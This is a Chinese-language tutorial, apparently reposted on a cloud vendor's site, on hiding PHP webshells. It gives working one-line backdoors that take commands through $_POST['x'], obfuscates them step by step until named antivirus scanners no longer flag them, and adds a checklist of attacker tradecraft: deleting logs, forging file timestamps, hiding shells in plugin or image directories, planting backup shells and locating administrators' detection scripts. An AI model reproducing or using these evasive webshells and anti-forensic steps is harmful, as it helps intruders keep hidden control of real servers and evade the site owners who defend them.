中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何優雅的隱藏你的Webshell

發布時間:2021-12-23 10:26:21 來源:億速云 閱讀:136 作者:柒染 欄目:網絡管理

本篇文章為大家展示了如何優雅的隱藏你的Webshell,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

制作免殺webshell

隱藏webshell最主要的就是做免殺,免殺做好了,你可以把webshell放在函數庫文件中或者在圖片馬中,太多地方可以放了,只要查殺工具查不到,你的這個webshell就能存活很長時間,畢竟管理員也沒有那么多精力挨個代碼去查看。

命令執行的方法

這里使用我們最常用的php的一句話馬來給大家做演示,PHP版本是5.6的,在寫一句話馬之前我們來先分析一下PHP執行命令方法

1、直接執行

使用php函數直接運行命令,常見的函數有(eval、system、assert)等,可以直接調用命令執行。

@eval('echo 這是輸出;');

如何優雅的隱藏你的Webshell

2、動態函數執行

我們先把一個函數名當成一個字符串傳遞給一個變量,在使用變量當作函數去執行

$a="phpinfo";$a();

如何優雅的隱藏你的Webshell

3、文件包含執行

有兩個php文件,我們把執行命令的放在文件b中,使用文件a去包含,達到執行的效果

b.php
<?php
@eval('echo 這是輸出;');

a.php
<?php
include a.php

如何優雅的隱藏你的Webshell

4、回調函數

將想要執行命令的函數賦值給一個變量,再用一個可以調用函數執行的函數把變量解析成函數,這么說可能有點繞,看一下array_map函數的用法:array_map函數中將$arr每個元素傳給func函數去執行,例子:

<?php
$func = 'system';
$arr = array('whoami');
array_map($func, $arr);

如何優雅的隱藏你的Webshell

5、PHP Curly Syntax

我們可以理解為字符串中摻雜了變量,再使用變量去拼接字符串,達到命令執行的效果

<?php
$a = 'p';
eval("{$a}hpinfo();");

如何優雅的隱藏你的Webshell

6、php反序列化

這是根據php反序列化漏洞來實現命令執行,可以先創建一個反序列化的漏洞文件,再去調用反序列化函數unserialize

<?php

class test{
    public $a="123";
    public function __wakeup(){
        eval($this->a);
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');

如何優雅的隱藏你的Webshell

7、php://input方法

php://input可以訪問請求的原始數據的只讀流,我們可以理解為我們傳post參數,php://input會讀取到,這時候我們就可以加以利用了

<?php
@eval(file_get_contents('php://input'));

如何優雅的隱藏你的Webshell

8、preg_replace方法

preg_replace函數執行一個正則表達式的搜索和替換。我們可以使用一個命令執行函數去替換正常的字符串,然后去執行命令

<?php
echo preg_replace("/test/e",phpinfo(),"jutst test");

如何優雅的隱藏你的Webshell

9、ob_start

ob_start函數是打開輸出控制緩沖,傳入的參數會在使用ob_end_flush函數的時候去調用它執行輸出在緩沖區的東西

<?php
$cmd = 'system';
ob_start($cmd);
echo "whoami";
ob_end_flush();//輸出全部內容到瀏覽器

如何優雅的隱藏你的Webshell

編寫免殺

上面說了那么多其實都是一句話木馬的思路,每一種方式都可以寫成一句話木馬,而想要免殺常常會多種組合到一起,下面從最簡單的木馬一步步變形,達到免殺的目的

assert($_POST['x']);

如何優雅的隱藏你的Webshell

這種就是最簡單的一句話木馬,使用D盾掃一下,可以看到5級,沒有什么好說的

動態函數方法,把assert這個函數賦值兩次變量,再把變量當成函數執行

$a = "assert";
$b = $a;
$b($_POST['x']);

如何優雅的隱藏你的Webshell

回調函數方法,把assert函數當作參數傳給array_map去調用執行

<?php
$fun = 'assert';
array_map($fun,array($_POST['x']));

如何優雅的隱藏你的Webshell

可以看到上面的都是通過兩種方法的結合,簡單的處理一下,就變成了4級,感興趣的可以把其他的方法都嘗試一下,4級的很簡單,我們去看看3級的都是怎么處理的

通過上面的動態函數方法我們可以思考,函數可以當成字符串賦值給變量,那么變量也一定能當成字符串賦值給變量,但調用時需要用$$

<?php
$a = "assert";
$c ='a';
$$c($_POST['x']);

如何優雅的隱藏你的Webshell

我們在把這種方法結合到回調函數方法中,可以看到,已經是2級了

<?php
$fun = 'assert';
$f = 'fun';
array_map($$f,array($_POST['x']));

如何優雅的隱藏你的Webshell

這時候我們看一下D盾中的說明:array_map中的參數可疑,我們這時候可以用函數封裝一下參數

<?php
function ass(){
    $a = "a451.ass.aaa.ert.adaww";
    $b = explode('.',$a);
    $c = $b[1] . $b[3];
    return $c;
}
$b = array($_POST['x']);
$c = ass();
array_map($c,$b);

如何優雅的隱藏你的Webshell

1級了,離目標近在咫尺了,這時候我們應該考慮讓一句話木馬像正常的代碼,在好好的封裝一下

<?php
function downloadFile($url,$x){
    $ary = parse_url($url);
    $file = basename($ary['path']);
    $ext = explode('.',$file);
    // assert
    $exec1=substr($ext[0],3,1);
    $exec2=substr($ext[0],5,1);
    $exec3=substr($ext[0],5,1);
    $exec4=substr($ext[0],4,1);
    $exec5=substr($ext[0],7,2);
    $as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5;
    $as[1] = $x;
    return $as;
}
$a = $_POST['x'];
$s  = downloadFile('http://www.baidu.com/asdaesfrtafga.txt',$a);
$b = $s[0];
$c = $s[1];
array_map($b,array($c));

如何優雅的隱藏你的Webshell

再試試其他免殺工具

WebShellKiller:

如何優雅的隱藏你的Webshell

安全狗:

如何優雅的隱藏你的Webshell

微步云沙箱

如何優雅的隱藏你的Webshell

再試試可不可以連接沒有問題,完美!!

如何優雅的隱藏你的Webshell

更好的隱藏webshell一些建議

1、拿到權限以后,把網站日志中的所有關于webshell的訪問記錄和滲透時造成的一些網站報錯記錄全部刪除

2、把webshell的屬性時間改為和同目錄文件相同的時間戳,比如linux中的touch就是非常好的工具

3、目錄層級越深越好,平時網站不出問題的話,一般四五級目錄很少會被注意到,盡量藏在那些程序員和管理員都不會經常光顧的目錄中比如:第三方工具的一些插件目錄,主題目錄,編輯器的圖片目錄以及一些臨時目錄

4、利用php.ini 配置文件隱藏webshell,把webshell的路徑加入到配置文件中

5、嘗試利用靜態文件隱藏一句話,然后用.htaccess 規則進行解析

6、上傳個精心構造的圖片馬,然后再到另一個不起眼的正常的網站腳本文件中去包含這個圖片馬

7、靠譜的方法就是直接把一句話插到正常的網站腳本文件里面,當然最好是在一個不起眼的地方,比如:函數庫文件,配置文件里面等等,以及那些不需要經常改動的文件……

8、如果有可能的話,還是審計下目標的代碼,然后想辦法在正常的代碼中構造執行我們自己的webshell,即在原生代碼中執行webshell

9、webshell里面盡量不要用類似eval這種過于敏感的特征,因為awk一句話就能查出來,除了eval,還有,比如:exec,system,passthru,shell_exec,assert這些函數都最好不要用,你可以嘗試寫個自定義函數,不僅能在一定程度上延長webshell的存活時間也加大了管理員的查找難度,也可以躲避一些功能比較簡陋waf查殺,此外,我們也可以使用一些類似:call_user_func,call_user_func_array,諸如此類的回調函數特性來構造我們的webshell,即偽造正常的函數調用

10、webshell的名字千萬不要太扎眼,比如:hack.php,sb.php,x.php這樣的名字嚴禁出現……,在給webshell起名的時候盡量跟當前目錄的,其他文件的名字相似度高一點,這樣相對容易混淆視聽,比如:目錄中有個叫new.php的文件,那你就起個news.php

11、如果是大馬的話,盡量把里面的一些注釋和作者信息全部都去掉,比如intitle字段中的版本信息等等,用任何大馬之前最好先好好的讀幾遍代碼,把里面的shell箱子地址全部去掉推薦用開源的大馬,然后自己拿過來仔細修改,記住,我們的webshell盡量不要用加密,因為加密并不能很好的解決waf問題,還有,大馬中一般都會有個pass或者password字符,建議把這些敏感字段全部換成別的,因為利用這樣的字符基本一句話就能定位到

12、養成一個好習慣,為了防止權限很快丟失,最好再同時上傳幾個備用webshell,注意,每個webshell的路徑和名字千萬不要都一樣更不要在同一個目錄下,多跳幾層,記住,確定shell正常訪問就可以了,不用再去嘗試訪問看看解析是否正常,因為這樣就會在日志中留下記錄,容易被查到

13、當然,如果在拿到服務器權限以后,也可以自己寫個腳本每隔一段時間檢測下自己的webshell是否還存在,不存在就創建

14、在有權限的情況,看看管理員是否寫的有動態webshell監測腳本,務必把腳本找出來,crontab一般都能看見了

上述內容就是如何優雅的隱藏你的Webshell,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

会宁县| 沾化县| 颍上县| 鄯善县| 台东市| 凉城县| 南开区| 兴宁市| 孝昌县| 保亭| 广河县| 岐山县| 汝阳县| 桦川县| 内黄县| 开平市| 伊宁市| 白沙| 潮州市| 玛纳斯县| 平泉县| 镇江市| 宝丰县| 龙岩市| 垫江县| 马尔康县| 陇南市| 方山县| 博客| 进贤县| 大竹县| 团风县| 沈阳市| 韩城市| 教育| 宁武县| 师宗县| 始兴县| 崇义县| 景东| 宜章县|